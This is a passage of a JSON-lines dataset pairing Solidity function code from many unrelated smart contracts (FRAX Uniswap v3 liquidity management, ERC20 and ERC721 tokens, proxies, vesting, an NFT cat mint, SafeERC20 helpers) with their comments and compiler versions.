allocations[1] = freeColDolVal();\n\n // Sum of Uni v3 Positions liquidity, if it was all in FRAX\n allocations[2] = TotalLiquidityFrax();\n\n // Total Value\n allocations[3] = allocations[0].add(allocations[1]).add(allocations[2]);\n }", "version": "0.8.6"} {"comment": "// E18 Collateral dollar value", "function_code": "function freeColDolVal() public view returns (uint256) {\n uint256 value_tally_e18 = 0;\n for (uint i = 0; i < collateral_addresses.length; i++){\n ERC20 thisCollateral = ERC20(collateral_addresses[i]);\n uint256 missing_decs = uint256(18).sub(thisCollateral.decimals());\n uint256 col_bal_e18 = thisCollateral.balanceOf(address(this)).mul(10 ** missing_decs);\n uint256 col_usd_value_e18 = collatDolarValue(oracles[collateral_addresses[i]], col_bal_e18);\n value_tally_e18 = value_tally_e18.add(col_usd_value_e18);\n }\n return value_tally_e18;\n }", "version": "0.8.6"} {"comment": "// Needed for the Frax contract to function", "function_code": "function collatDollarBalance() public view returns (uint256) {\n // Get the allocations\n uint256[4] memory allocations = showAllocations();\n\n // Get the collateral and FRAX portions\n uint256 collat_portion = allocations[1];\n uint256 frax_portion = (allocations[0]).add(allocations[2]);\n\n // Assumes worst case scenario if FRAX slips out of range.\n // Otherwise, it would only be half that is multiplied by the CR\n frax_portion = frax_portion.mul(FRAX.global_collateral_ratio()).div(PRICE_PRECISION);\n return (collat_portion).add(frax_portion);\n }", "version": "0.8.6"} {"comment": "// Returns this contract's liquidity in a specific [FRAX]-[collateral] uni v3 pool", "function_code": "function liquidityInPool(address _collateral_address, int24 _tickLower, int24 _tickUpper, uint24 _fee) public view returns (uint128) {\n IUniswapV3Pool get_pool = IUniswapV3Pool(univ3_factory.getPool(address(FRAX), _collateral_address, _fee));\n\n // goes into the pool's positions mapping, and grabs this address's liquidity\n (uint128 liquidity, , , , ) = get_pool.positions(keccak256(abi.encodePacked(address(this), _tickLower, _tickUpper)));\n return liquidity;\n }", "version": "0.8.6"} {"comment": "// Iterate through all positions and collect fees accumulated", "function_code": "function collectFees() external onlyByOwnGovCust {\n for (uint i = 0; i < positions_array.length; i++){\n Position memory current_position = positions_array[i];\n INonfungiblePositionManager.CollectParams memory collect_params = INonfungiblePositionManager.CollectParams(\n current_position.token_id,\n custodian_address,\n type(uint128).max,\n type(uint128).max\n );\n\n // Send to custodian address\n univ3_positions.collect(collect_params);\n }\n }", "version": "0.8.6"} {"comment": "/* ---------------------------------------------------- */", "function_code": "function approveTarget(address _target, address _token, uint256 _amount, bool use_safe_approve) public onlyByOwnGov {\n if (use_safe_approve) {\n // safeApprove needed for USDT and others for the first approval\n // You need to approve 0 every time beforehand for USDT: it resets\n TransferHelper.safeApprove(_token, _target, _amount);\n }\n else {\n ERC20(_token).approve(_target, _amount);\n }\n }", "version": "0.8.6"} {"comment": "// IUniswapV3Pool public current_uni_pool; // only used for mint callback; is set and accessed during execution of addLiquidity()", "function_code": "function addLiquidity(address _tokenA, address _tokenB, int24 _tickLower, int24 _tickUpper, uint24 _fee, uint256 _amount0Desired, uint256 _amount1Desired, uint256 _amount0Min, uint256 _amount1Min) public onlyByOwnGov {\n // Make sure the collateral is allowed\n require(allowed_collaterals[_tokenA] || _tokenA == address(FRAX), \"TokenA not allowed\");\n require(allowed_collaterals[_tokenB] || _tokenB == address(FRAX), \"TokenB not allowed\");\n\n ERC20(_tokenA).transferFrom(msg.sender, address(this), _amount0Desired);\n ERC20(_tokenB).transferFrom(msg.sender, address(this), _amount1Desired);\n ERC20(_tokenA).approve(address(univ3_positions), _amount0Desired);\n ERC20(_tokenB).approve(address(univ3_positions), _amount1Desired);\n\n INonfungiblePositionManager.MintParams memory params = INonfungiblePositionManager.MintParams(\n _tokenA,\n _tokenB,\n _fee,\n _tickLower,\n _tickUpper,\n _amount0Desired,\n _amount1Desired,\n _amount0Min,\n _amount1Min,\n address(this),\n block.timestamp\n );\n\n (uint256 tokenId, uint128 amountLiquidity,,) = univ3_positions.mint(params);\n\n Position memory pos = Position(\n tokenId,\n _tokenA == address(FRAX) ? _tokenB : _tokenA,\n amountLiquidity,\n _tickLower,\n _tickUpper,\n _fee\n );\n\n positions_array.push(pos);\n positions_mapping[tokenId] = pos;\n }", "version": "0.8.6"} {"comment": "// Swap tokenA into tokenB using univ3_router.ExactInputSingle()\n// Uni V3 only", "function_code": "function swap(address _tokenA, address _tokenB, uint24 _fee_tier, uint256 _amountAtoB, uint256 _amountOutMinimum, uint160 _sqrtPriceLimitX96) public onlyByOwnGov returns (uint256) {\n // Make sure the collateral is allowed\n require(allowed_collaterals[_tokenA] || _tokenA == address(FRAX), \"TokenA not allowed\");\n require(allowed_collaterals[_tokenB] || _tokenB == address(FRAX), \"TokenB not allowed\");\n\n ISwapRouter.ExactInputSingleParams memory swap_params = ISwapRouter.ExactInputSingleParams(\n _tokenA,\n _tokenB,\n _fee_tier,\n address(this),\n 2105300114, // Expiration: a long time from now\n _amountAtoB,\n _amountOutMinimum,\n _sqrtPriceLimitX96\n );\n\n // Approval\n TransferHelper.safeApprove(_tokenA, address(univ3_router), _amountAtoB);\n\n uint256 amountOut = univ3_router.exactInputSingle(swap_params);\n return amountOut;\n }", "version": "0.8.6"} {"comment": "// ------------------------------------------------------------------------\n// Transfer the balance from token owner's account to to account\n// - Owner's account must have sufficient balance to transfer\n// - 0 value transfers are allowed\n// ------------------------------------------------------------------------", "function_code": "function goldTransfer(address to, uint tokens) public whenNotPaused returns (bool success) {\r\n if(goldFreezed[msg.sender] == false){\r\n goldBalances[msg.sender] = safeSub(goldBalances[msg.sender], tokens);\r\n goldBalances[to] = safeAdd(goldBalances[to], tokens);\r\n emit GoldTransfer(msg.sender, to, tokens);\r\n } else {\r\n if(goldBalances[msg.sender] > goldFreezeAmount[msg.sender]) {\r\n require(tokens <= safeSub(goldBalances[msg.sender], goldFreezeAmount[msg.sender]));\r\n goldBalances[msg.sender] = safeSub(goldBalances[msg.sender], tokens);\r\n goldBalances[to] = safeAdd(goldBalances[to], tokens);\r\n emit GoldTransfer(msg.sender, to, tokens);\r\n }\r\n }\r\n \r\n return true;\r\n }", "version": "0.4.24"} {"comment": "// ------------------------------------------------------------------------\n// Partner Authorization\n// ------------------------------------------------------------------------", "function_code": "function createPartner(address _partner, uint _amount, uint _singleTrans, uint _durance) public onlyAdmin returns (uint) {\r\n Partner memory _Partner = Partner({\r\n admin: _partner,\r\n tokenPool: _amount,\r\n singleTrans: _singleTrans,\r\n timestamp: uint(now),\r\n durance: _durance\r\n });\r\n uint newPartnerId = partners.push(_Partner) - 1;\r\n emit PartnerCreated(newPartnerId, _partner, _amount, _singleTrans, _durance);\r\n \r\n return newPartnerId;\r\n }", "version": "0.4.24"} {"comment": "// ------------------------------------------------------------------------\n// Vip Agreement\n// ------------------------------------------------------------------------", "function_code": "function createVip(address _vip, uint _durance, uint _frequence, uint _salary) public onlyAdmin returns (uint) {\r\n Vip memory _Vip = Vip ({\r\n vip: _vip,\r\n durance: uint(now) + _durance,\r\n frequence: _frequence,\r\n salary: _salary,\r\n timestamp: now + _frequence\r\n });\r\n uint newVipId = vips.push(_Vip) - 1;\r\n emit VipAgreementSign(newVipId, _vip, _durance, _frequence, _salary);\r\n \r\n return newVipId;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Transfer tokens from one address to another\r\n * @param _from address The address which you want to send tokens from\r\n * @param _to address The address which you want to transfer to\r\n * @param _value uint256 the amout of tokens to be transfered\r\n */", "function_code": "function transferFrom(address _from, address _to, uint256 _value) returns (bool) {\r\n var _allowance = allowed[_from][msg.sender];\r\n\r\n // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met\r\n // require (_value <= _allowance);\r\n\r\n balances[_to] = balances[_to].add(_value);\r\n balances[_from] = balances[_from].sub(_value);\r\n allowed[_from][msg.sender] = _allowance.sub(_value);\r\n Transfer(_from, _to, _value);\r\n return true;\r\n }", "version": "0.4.16"} {"comment": "/**\r\n * @dev Aprove the passed address to spend the specified amount of tokens on behalf of msg.sender.\r\n * @param _spender The address which will spend the funds.\r\n * @param _value The amount of tokens to be spent.\r\n */", "function_code": "function approve(address _spender, uint256 _value) returns (bool) {\r\n\r\n // To change the approve amount you first have to reduce the addresses`\r\n // allowance to zero by calling `approve(_spender, 0)` if it is not\r\n // already 0 to mitigate the race condition described here:\r\n // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729\r\n require((_value == 0) || (allowed[msg.sender][_spender] == 0));\r\n\r\n allowed[msg.sender][_spender] = _value;\r\n Approval(msg.sender, _spender, _value);\r\n return true;\r\n }", "version": "0.4.16"} {"comment": "/**\r\n * @dev Burns a NFT.\r\n * @notice This is an internal function which should be called from user-implemented external\r\n * burn function. Its purpose is to show and properly initialize data structures when using this\r\n * implementation. Also, note that this burn implementation allows the minter to re-mint a burned\r\n * NFT.\r\n * @param _tokenId ID of the NFT to be burned.\r\n */", "function_code": "function _burn(\r\n uint256 _tokenId\r\n )\r\n internal\r\n override\r\n virtual\r\n {\r\n super._burn(_tokenId);\r\n \r\n if (bytes(idToUri[_tokenId]).length != 0)\r\n {\r\n delete idToUri[_tokenId];\r\n }\r\n \r\n if (bytes(idToPayload[_tokenId]).length != 0)\r\n {\r\n delete idToPayload[_tokenId];\r\n }\r\n \r\n uint256 tokenIndex = idToIndex[_tokenId];\r\n uint256 lastTokenIndex = tokens.length - 1;\r\n uint256 lastToken = tokens[lastTokenIndex];\r\n\r\n tokens[tokenIndex] = lastToken;\r\n\r\n tokens.pop();\r\n // This wastes gas if you are burning the last token but saves a little gas if you are not.\r\n idToIndex[lastToken] = tokenIndex;\r\n idToIndex[_tokenId] = 0;\r\n }", "version": "0.6.2"} {"comment": "/**\r\n * @dev Removes a NFT from an address.\r\n * @notice Use and override this function with caution. Wrong usage can have serious consequences.\r\n * @param _from Address from wich we want to remove the NFT.\r\n * @param _tokenId Which NFT we want to remove.\r\n */", "function_code": "function _removeNFToken(\r\n address _from,\r\n uint256 _tokenId\r\n )\r\n internal\r\n override\r\n virtual\r\n {\r\n require(idToOwner[_tokenId] == _from, NOT_OWNER);\r\n delete idToOwner[_tokenId];\r\n\r\n uint256 tokenToRemoveIndex = idToOwnerIndex[_tokenId];\r\n uint256 lastTokenIndex = ownerToIds[_from].length - 1;\r\n\r\n if (lastTokenIndex != tokenToRemoveIndex)\r\n {\r\n uint256 lastToken = ownerToIds[_from][lastTokenIndex];\r\n ownerToIds[_from][tokenToRemoveIndex] = lastToken;\r\n idToOwnerIndex[lastToken] = tokenToRemoveIndex;\r\n }\r\n\r\n ownerToIds[_from].pop();\r\n }", "version": "0.6.2"} {"comment": "/**\r\n * @dev Function to unlock timelocked tokens\r\n * If block.timestap passed tokens are sent to owner and lock is removed from database\r\n */", "function_code": "function unlock() external\r\n {\r\n require(timeLocks[msg.sender].length > 0, \"Unlock: No locks!\");\r\n Locker[] storage l = timeLocks[msg.sender];\r\n for (uint i = 0; i < l.length; i++)\r\n {\r\n // solium-disable-next-line security/no-block-members\r\n if (l[i].locktime < block.timestamp) {\r\n uint amount = l[i].amount;\r\n require(amount <= lockedBalance && amount <= _balances[address(this)], \"Unlock: Not enough coins on contract!\");\r\n lockedBalance = lockedBalance.sub(amount);\r\n _transfer(address(this), msg.sender, amount);\r\n for (uint j = i; j < l.length - 1; j++)\r\n {\r\n l[j] = l[j + 1];\r\n }\r\n l.length--;\r\n i--;\r\n }\r\n }\r\n }", "version": "0.5.10"} {"comment": "/**\n * Gas spent here starts off proportional to the maximum mint batch size.\n * It gradually moves to O(1) as tokens get transferred around in the collection over time.\n */", "function_code": "function ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) {\n uint256 curr = tokenId;\n\n unchecked {\n if (curr < _currentIndex) {\n TokenOwnership memory ownership = _ownerships[curr];\n if (!ownership.burned) {\n if (ownership.addr != address(0)) {\n return ownership;\n }\n // Invariant: \n // There will always be an ownership that has an address and is not burned \n // before an ownership that does not have an address and is not burned.\n // Hence, curr will not underflow.\n while (true) {\n curr--;\n ownership = _ownerships[curr];\n if (ownership.addr != address(0)) {\n return ownership;\n }\n }\n }\n }\n }\n revert OwnerQueryForNonexistentToken();\n }", "version": "0.8.9"} {"comment": "/**\n * @dev Mints `quantity` tokens and transfers them to `to`.\n *\n * Requirements:\n *\n * - `to` cannot be the zero address.\n * - `quantity` must be greater than 0.\n *\n * Emits a {Transfer} event.\n */", "function_code": "function _mint(\n address to,\n uint256 quantity,\n bytes memory _data,\n bool safe\n ) internal {\n uint256 startTokenId = _currentIndex;\n if (to == address(0)) revert MintToZeroAddress();\n if (quantity == 0) revert MintZeroQuantity();\n\n _beforeTokenTransfers(address(0), to, startTokenId, quantity);\n\n // Overflows are incredibly unrealistic.\n // balance or numberMinted overflow if current value of either + quantity > 1.8e19 (2**64) - 1\n // updatedIndex overflows if _currentIndex + quantity > 1.2e77 (2**256) - 1\n unchecked {\n _addressData[to].balance += uint64(quantity);\n _addressData[to].numberMinted += uint64(quantity);\n\n _ownerships[startTokenId].addr = to;\n _ownerships[startTokenId].startTimestamp = uint64(block.timestamp);\n\n uint256 updatedIndex = startTokenId;\n\n for (uint256 i; i < quantity; i++) {\n emit Transfer(address(0), to, updatedIndex);\n if (safe && !_checkOnERC721Received(address(0), to, updatedIndex, _data)) {\n revert TransferToNonERC721ReceiverImplementer();\n }\n updatedIndex++;\n }\n\n _currentIndex = updatedIndex;\n }\n _afterTokenTransfers(address(0), to, startTokenId, quantity);\n }", "version": "0.8.9"} {"comment": "/**\r\n * @dev Fallback function allowing to perform a delegatecall to the given implementation.\r\n * This function will return whatever the implementation call returns\r\n */", "function_code": "function () payable public {\r\n bytes32 implementationPosition = implementationPosition_;\r\n address _impl;\r\n assembly {\r\n _impl := sload(implementationPosition)\r\n }\r\n\r\n assembly {\r\n let ptr := mload(0x40)\r\n calldatacopy(ptr, 0, calldatasize)\r\n let result := delegatecall(gas, _impl, ptr, calldatasize, 0, 0)\r\n let size := returndatasize\r\n returndatacopy(ptr, 0, size)\r\n\r\n switch result\r\n case 0 { revert(ptr, size) }\r\n default { return(ptr, size) }\r\n }\r\n }", "version": "0.4.24"} {"comment": "/**\n * @return Allowed address list.\n */", "function_code": "function accessList() external view returns (address[] memory) {\n address[] memory result = new address[](allowed.length());\n\n for (uint256 i = 0; i < allowed.length(); i++) {\n result[i] = allowed.at(i);\n }\n\n return result;\n }", "version": "0.6.12"} {"comment": "/**\r\n * @dev transfers IXT \r\n * @param from User address\r\n * @param to Recipient\r\n * @param action Service the user is paying for \r\n */", "function_code": "function transferIXT(address from, address to, string action) public allowedOnly isNotPaused returns (bool) {\r\n if (isOldVersion) {\r\n IXTPaymentContract newContract = IXTPaymentContract(nextContract);\r\n return newContract.transferIXT(from, to, action);\r\n } else {\r\n uint price = actionPrices[action];\r\n\r\n if(price != 0 && !tokenContract.transferFrom(from, to, price)){\r\n return false;\r\n } else {\r\n emit IXTPayment(from, to, price, action); \r\n return true;\r\n }\r\n }\r\n }", "version": "0.4.21"} {"comment": "// ------------------------------------------------------------------------\n// Token owner can approve for `spender` to transferFrom(...) `tokens`\n// from the token owner's account. The `spender` contract function\n// `receiveApproval(...)` is then executed\n// ------------------------------------------------------------------------", "function_code": "function approveAndCall(\r\n address spender,\r\n uint256 tokens,\r\n bytes memory data\r\n ) public returns (bool success) {\r\n allowed[msg.sender][spender] = tokens;\r\n emit Approval(msg.sender, spender, tokens);\r\n ApproveAndCallFallBack(spender).receiveApproval(\r\n msg.sender,\r\n tokens,\r\n address(0),\r\n data\r\n );\r\n return true;\r\n }", "version": "0.7.2"} {"comment": "// ------------------------------------------------------------------------\n// Send tokens to owner for airdrop\n// ------------------------------------------------------------------------", "function_code": "function getAirdropTokens() public onlyOwner {\r\n require(block.timestamp >= startDate && block.timestamp <= endDate);\r\n require(!airdropTokensWithdrawn);\r\n uint256 tokens = 5000000000000000000000;\r\n balances[owner] = safeAdd(balances[owner], tokens);\r\n _totalSupply = safeAdd(_totalSupply, tokens);\r\n emit Transfer(address(0), owner, tokens);\r\n airdropTokensWithdrawn = true;\r\n }", "version": "0.7.2"} {"comment": "/**\r\n * @dev Actually perform the safeTransferFrom.\r\n * @param _from The current owner of the NFT.\r\n * @param _to The new owner.\r\n * @param _tokenId The NFT to transfer.\r\n * @param _data Additional data with no specified format, sent in call to `_to`.\r\n */", "function_code": "function _safeTransferFrom(\r\n address _from,\r\n address _to,\r\n uint256 _tokenId,\r\n bytes memory _data\r\n )\r\n private\r\n canTransfer(_tokenId)\r\n validNFToken(_tokenId)\r\n {\r\n address tokenOwner = idToOwner[_tokenId];\r\n require(tokenOwner == _from, NOT_OWNER);\r\n require(_to != address(0), ZERO_ADDRESS);\r\n\r\n _transfer(_to, _tokenId);\r\n\r\n if (_to.isContract())\r\n {\r\n bytes4 retval = ERC721TokenReceiver(_to).onERC721Received(msg.sender, _from, _tokenId, _data);\r\n require(retval == MAGIC_ON_ERC721_RECEIVED, NOT_ABLE_TO_RECEIVE_NFT);\r\n }\r\n }", "version": "0.6.2"} {"comment": "/**\r\n * Notifies all the pools, safe guarding the notification amount.\r\n */", "function_code": "function notifyPools(uint256[] memory amounts, address[] memory pools) public onlyGovernance {\r\n require(amounts.length == pools.length, \"Amounts and pools lengths mismatch\");\r\n for (uint i = 0; i < pools.length; i++) {\r\n require(amounts[i] > 0, \"Notify zero\");\r\n NoMintRewardPool pool = NoMintRewardPool(pools[i]);\r\n IERC20 token = IERC20(pool.rewardToken());\r\n uint256 limit = token.balanceOf(pools[i]);\r\n require(amounts[i] <= limit, \"Notify limit hit\");\r\n NoMintRewardPool(pools[i]).notifyRewardAmount(amounts[i]);\r\n }\r\n }", "version": "0.5.16"} {"comment": "/**\n * @return Assets list.\n */", "function_code": "function assets() external view returns (Asset[] memory) {\n Asset[] memory result = new Asset[](size());\n\n for (uint256 i = 0; i < size(); i++) {\n result[i] = portfolio[i];\n }\n\n return result;\n }", "version": "0.6.12"} {"comment": "/**\n * @notice Update information of asset.\n * @param id Asset identificator.\n * @param amount Amount of asset.\n * @param price Cost of one asset in base currency.\n * @param updatedAt Timestamp of updated.\n * @param proofData Signed data.\n * @param proofSignature Data signature.\n */", "function_code": "function put(\n string calldata id,\n uint256 amount,\n uint256 price,\n uint256 updatedAt,\n string calldata proofData,\n string calldata proofSignature\n ) external onlyAllowed {\n require(size() < maxSize, \"RealAssetDepositaryBalanceView::put: too many assets\");\n\n uint256 valueIndex = portfolioIndex[id];\n if (valueIndex != 0) {\n portfolio[valueIndex.sub(1)] = Asset(id, amount, price, block.number);\n } else {\n portfolio.push(Asset(id, amount, price, block.number));\n portfolioIndex[id] = size();\n }\n emit AssetUpdated(id, updatedAt, Proof(proofData, proofSignature));\n }", "version": "0.6.12"} {"comment": "/**\n * @notice Remove information of asset.\n * @param id Asset identificator.\n */", "function_code": "function remove(string calldata id) external onlyAllowed {\n uint256 valueIndex = portfolioIndex[id];\n require(valueIndex != 0, \"RealAssetDepositaryBalanceView::remove: asset already removed\");\n\n uint256 toDeleteIndex = valueIndex.sub(1);\n uint256 lastIndex = size().sub(1);\n Asset memory lastValue = portfolio[lastIndex];\n portfolio[toDeleteIndex] = lastValue;\n portfolioIndex[lastValue.id] = toDeleteIndex.add(1);\n portfolio.pop();\n delete portfolioIndex[id];\n\n emit AssetRemoved(id);\n }", "version": "0.6.12"} {"comment": "/**\r\n * @dev Transfer the specified amount of tokens to the specified address.\r\n * Invokes the `tokenFallback` function if the recipient is a contract.\r\n * The token transfer fails if the recipient is a contract\r\n * but does not implement the `tokenFallback` function\r\n * or the fallback function to receive funds.\r\n *\r\n * @param _to Receiver address.\r\n * @param _value Amount of tokens that will be transferred.\r\n * @param _data Transaction metadata.\r\n */", "function_code": "function transfer(address _to, uint _value, bytes _data) public returns (bool) {\r\n uint codeLength;\r\n\r\n assembly {\r\n codeLength := extcodesize(_to)\r\n }\r\n\r\n balances[msg.sender] = balances[msg.sender].sub(_value);\r\n balances[_to] = balances[_to].add(_value);\r\n if(codeLength>0) {\r\n ContractReceiver receiver = ContractReceiver(_to);\r\n receiver.tokenFallback(msg.sender, _value, _data);\r\n }\r\n\t\t\r\n\t\tTransfer(msg.sender, _to, _value);\r\n Transfer(msg.sender, _to, _value, _data);\r\n }", "version": "0.4.19"} {"comment": "//adopts multiple cats at once", "function_code": "function adoptCats(uint256 _howMany) public payable {\n\t\trequire(_howMany <= 10, \"max 10 cats at once\");\n\t\trequire(itemPrice.mul(_howMany) == msg.value, \"insufficient ETH\");\n\n\t\tfor (uint256 i = 0; i < _howMany; i++) {\n\t\t\tadopt();\n\t\t}\n\t}", "version": "0.8.4"} {"comment": "/// @dev Adds investors. This function doesn't limit max gas consumption,\n/// so adding too many investors can cause it to reach the out-of-gas error.\n/// @param _investors The addresses of new investors.\n/// @param _tokenAllocations The amounts of the tokens that belong to each investor.", "function_code": "function addInvestors(\n address[] calldata _investors,\n uint256[] calldata _tokenAllocations,\n uint256[] calldata _withdrawnTokens\n ) external onlyOwner {\n require(_investors.length == _tokenAllocations.length, \"different arrays sizes\");\n for (uint256 i = 0; i < _investors.length; i++) {\n _addInvestor(_investors[i], _tokenAllocations[i], _withdrawnTokens[i]);\n }\n emit InvestorsAdded(_investors, _tokenAllocations, msg.sender);\n }", "version": "0.7.4"} {"comment": "// 25% at TGE, 75% released daily over 120 Days after 30 Days Cliff", "function_code": "function withdrawTokens() external onlyInvestor() initialized() {\n Investor storage investor = investorsInfo[_msgSender()];\n\n uint256 tokensAvailable = withdrawableTokens(_msgSender());\n\n require(tokensAvailable > 0, \"no tokens available for withdrawl\");\n\n investor.withdrawnTokens = investor.withdrawnTokens.add(tokensAvailable);\n _blankToken.safeTransfer(_msgSender(), tokensAvailable);\n\n emit WithdrawnTokens(_msgSender(), tokensAvailable);\n }", "version": "0.7.4"} {"comment": "//adopting a cat", "function_code": "function adopt() private {\n\t\t//you would be pretty unlucky to pay the miners alot of gas\n\t\tfor (uint256 i = 0; i < 9999; i++) {\n\t\t\tuint256 randID = random(1, 3000, uint256(uint160(address(msg.sender))) + i);\n\t\t\tif (_totalSupply[randID] == 0) {\n\t\t\t\t_totalSupply[randID] = 1;\n\t\t\t\t_mint(msg.sender, randID, 1, \"0x0000\");\n\t\t\t\tadoptedCats = adoptedCats + 1;\n\t\t\t\treturn;\n\t\t\t}\n\t\t}\n\t\trevert(\"you're very unlucky\");\n\t}", "version": "0.8.4"} {"comment": "/// @dev Removes investor. This function doesn't limit max gas consumption,\n/// so having too many investors can cause it to reach the out-of-gas error.\n/// @param _investor Investor address.", "function_code": "function removeInvestor(address _investor) external onlyOwner() {\n require(_investor != address(0), \"invalid address\");\n Investor storage investor = investorsInfo[_investor];\n uint256 allocation = investor.tokensAllotment;\n require(allocation > 0, \"the investor doesn't exist\");\n\n _totalAllocatedAmount = _totalAllocatedAmount.sub(allocation);\n investor.exists = false;\n investor.tokensAllotment = 0;\n\n emit InvestorRemoved(_investor, _msgSender(), allocation);\n }", "version": "0.7.4"} {"comment": "//the owner can adopt a cat without paying the fee\n//this will be used in the case the number of adopted cats > ~2500 and adopting one costs lots of gas", "function_code": "function mint(\n\t\taddress to,\n\t\tuint256 id,\n\t\tbytes memory data\n\t) public onlyOwner {\n\t\trequire(_totalSupply[id] == 0, \"this cat is already owned by someone\");\n\t\t_totalSupply[id] = 1;\n\t\tadoptedCats = adoptedCats + 1;\n\t\t_mint(to, id, 1, data);\n\t}", "version": "0.8.4"} {"comment": "//this method is responsible for taking all fee, if takeFee is true", "function_code": "function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private {\r\n if(!takeFee)\r\n removeAllFee();\r\n \r\n if (_isExcluded[sender] && !_isExcluded[recipient]) {\r\n _transferFromExcluded(sender, recipient, amount);\r\n } else if (!_isExcluded[sender] && _isExcluded[recipient]) {\r\n _transferToExcluded(sender, recipient, amount);\r\n } else if (!_isExcluded[sender] && !_isExcluded[recipient]) {\r\n _transferStandard(sender, recipient, amount);\r\n } else if (_isExcluded[sender] && _isExcluded[recipient]) {\r\n _transferBothExcluded(sender, recipient, amount);\r\n } else {\r\n _transferStandard(sender, recipient, amount);\r\n }\r\n \r\n if(!takeFee)\r\n restoreAllFee();\r\n }", "version": "0.6.12"} {"comment": "/// @notice Transfers ownership to `newOwner`. Either directly or claimable by the new pending owner.\n/// Can only be invoked by the current `owner`.\n/// @param newOwner Address of the new owner.\n/// @param direct True if `newOwner` should be set immediately. False if `newOwner` needs to use `claimOwnership`.\n/// @param renounce Allows the `newOwner` to be `address(0)` if `direct` and `renounce` is True. Has no effect otherwise.", "function_code": "function transferOwnership(\n\t\taddress newOwner,\n\t\tbool direct,\n\t\tbool renounce\n\t) public onlyOwner {\n\t\tif (direct) {\n\t\t\t// Checks\n\t\t\trequire(newOwner != address(0) || renounce, \"BoringOwnable::transferOwnership: zero address\");\n\n\t\t\t// Effects\n\t\t\temit OwnershipTransferred(owner, newOwner);\n\t\t\towner = newOwner;\n\t\t\tpendingOwner = address(0);\n\t\t} else {\n\t\t\t// Effects\n\t\t\tpendingOwner = newOwner;\n\t\t}\n\t}", "version": "0.6.12"} {"comment": "// transferFrom(address,address,uint256)", "function_code": "function returnDataToString(bytes memory data) internal pure returns (string memory) {\n\t\tif (data.length >= 64) {\n\t\t\treturn abi.decode(data, (string));\n\t\t} else if (data.length == 32) {\n\t\t\tuint8 i = 0;\n\t\t\twhile (i < 32 && data[i] != 0) {\n\t\t\t\ti++;\n\t\t\t}\n\t\t\tbytes memory bytesArray = new bytes(i);\n\t\t\tfor (i = 0; i < 32 && data[i] != 0; i++) {\n\t\t\t\tbytesArray[i] = data[i];\n\t\t\t}\n\t\t\treturn string(bytesArray);\n\t\t} else {\n\t\t\treturn \"???\";\n\t\t}\n\t}", "version": "0.6.12"} {"comment": "/// @notice Provides a safe ERC20.transfer version for different ERC-20 implementations.\n/// Reverts on a failed transfer.\n/// @param token The address of the ERC-20 token.\n/// @param to Transfer tokens to.\n/// @param amount The token amount.", "function_code": "function safeTransfer(\n\t\tIERC20 token,\n\t\taddress to,\n\t\tuint256 amount\n\t) internal {\n\t\t(bool success, bytes memory data) = address(token).call(abi.encodeWithSelector(SIG_TRANSFER, to, amount));\n\t\trequire(success && (data.length == 0 || abi.decode(data, (bool))), \"BoringERC20::safeTransfer: transfer failed\");\n\t}", "version": "0.6.12"} {"comment": "/// @notice Calls transferFrom on the token, reverts if the call fails and\n/// returns the value transferred after fees.", "function_code": "function safeTransferFromWithFees(IERC20 token, address from, address to, uint256 value) internal returns (uint256) {\r\n uint256 balancesBefore = token.balanceOf(to);\r\n callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));\r\n require(previousReturnValue(), \"transferFrom failed\");\r\n uint256 balancesAfter = token.balanceOf(to);\r\n return Math.min(value, balancesAfter.sub(balancesBefore));\r\n }", "version": "0.5.8"} {"comment": "/// @dev Gets the accumulated reward weight of a pool.\n///\n/// @param _ctx the pool context.\n///\n/// @return the accumulated reward weight.", "function_code": "function getUpdatedAccumulatedRewardWeight(Data storage _data, Context storage _ctx)\n\t\tinternal\n\t\tview\n\t\treturns (FixedPointMath.uq192x64 memory)\n\t{\n\t\tif (_data.totalDeposited == 0) {\n\t\t\treturn _data.accumulatedRewardWeight;\n\t\t}\n\n\t\tuint256 _elapsedTime = block.number.sub(_data.lastUpdatedBlock);\n\t\tif (_elapsedTime == 0) {\n\t\t\treturn _data.accumulatedRewardWeight;\n\t\t}\n\n\t\tuint256 _rewardRate = _data.getRewardRate(_ctx);\n\t\tuint256 _distributeAmount = _rewardRate.mul(_elapsedTime);\n\n\t\tif (_distributeAmount == 0) {\n\t\t\treturn _data.accumulatedRewardWeight;\n\t\t}\n\n\t\tFixedPointMath.uq192x64 memory _rewardWeight =\n\t\t\tFixedPointMath.fromU256(_distributeAmount).div(_data.totalDeposited);\n\t\treturn _data.accumulatedRewardWeight.add(_rewardWeight);\n\t}", "version": "0.6.12"} {"comment": "/// @notice Checks the return value of the previous function. Returns true\n/// if the previous function returned 32 non-zero bytes or returned zero\n/// bytes.", "function_code": "function previousReturnValue() private pure returns (bool)\r\n {\r\n uint256 returnData = 0;\r\n\r\n assembly { /* solium-disable-line security/no-inline-assembly */\r\n // Switch on the number of bytes returned by the previous call\r\n switch returndatasize\r\n\r\n // 0 bytes: ERC20 of type (3), did not throw\r\n case 0 {\r\n returnData := 1\r\n }\r\n\r\n // 32 bytes: ERC20 of types (1) or (2)\r\n case 32 {\r\n // Copy the return data into scratch space\r\n returndatacopy(0, 0, 32)\r\n\r\n // Load the return data into returnData\r\n returnData := mload(0)\r\n }\r\n\r\n // Other return size: return false\r\n default { }\r\n }\r\n\r\n return returnData != 0;\r\n }", "version": "0.5.8"} {"comment": "/**\r\n * @notice Insert a new node before an existing node.\r\n *\r\n * @param self The list being used.\r\n * @param target The existing node in the list.\r\n * @param newNode The next node to insert before the target.\r\n */", "function_code": "function insertBefore(List storage self, address target, address newNode) internal {\r\n require(!isInList(self, newNode), \"already in list\");\r\n require(isInList(self, target) || target == NULL, \"not in list\");\r\n\r\n // It is expected that this value is sometimes NULL.\r\n address prev = self.list[target].previous;\r\n\r\n self.list[newNode].next = target;\r\n self.list[newNode].previous = prev;\r\n self.list[target].previous = newNode;\r\n self.list[prev].next = newNode;\r\n\r\n self.list[newNode].inList = true;\r\n }", "version": "0.5.8"} {"comment": "/**\r\n * @notice Remove a node from the list, and fix the previous and next\r\n * pointers that are pointing to the removed node. Removing anode that is not\r\n * in the list will do nothing.\r\n *\r\n * @param self The list being using.\r\n * @param node The node in the list to be removed.\r\n */", "function_code": "function remove(List storage self, address node) internal {\r\n require(isInList(self, node), \"not in list\");\r\n if (node == NULL) {\r\n return;\r\n }\r\n address p = 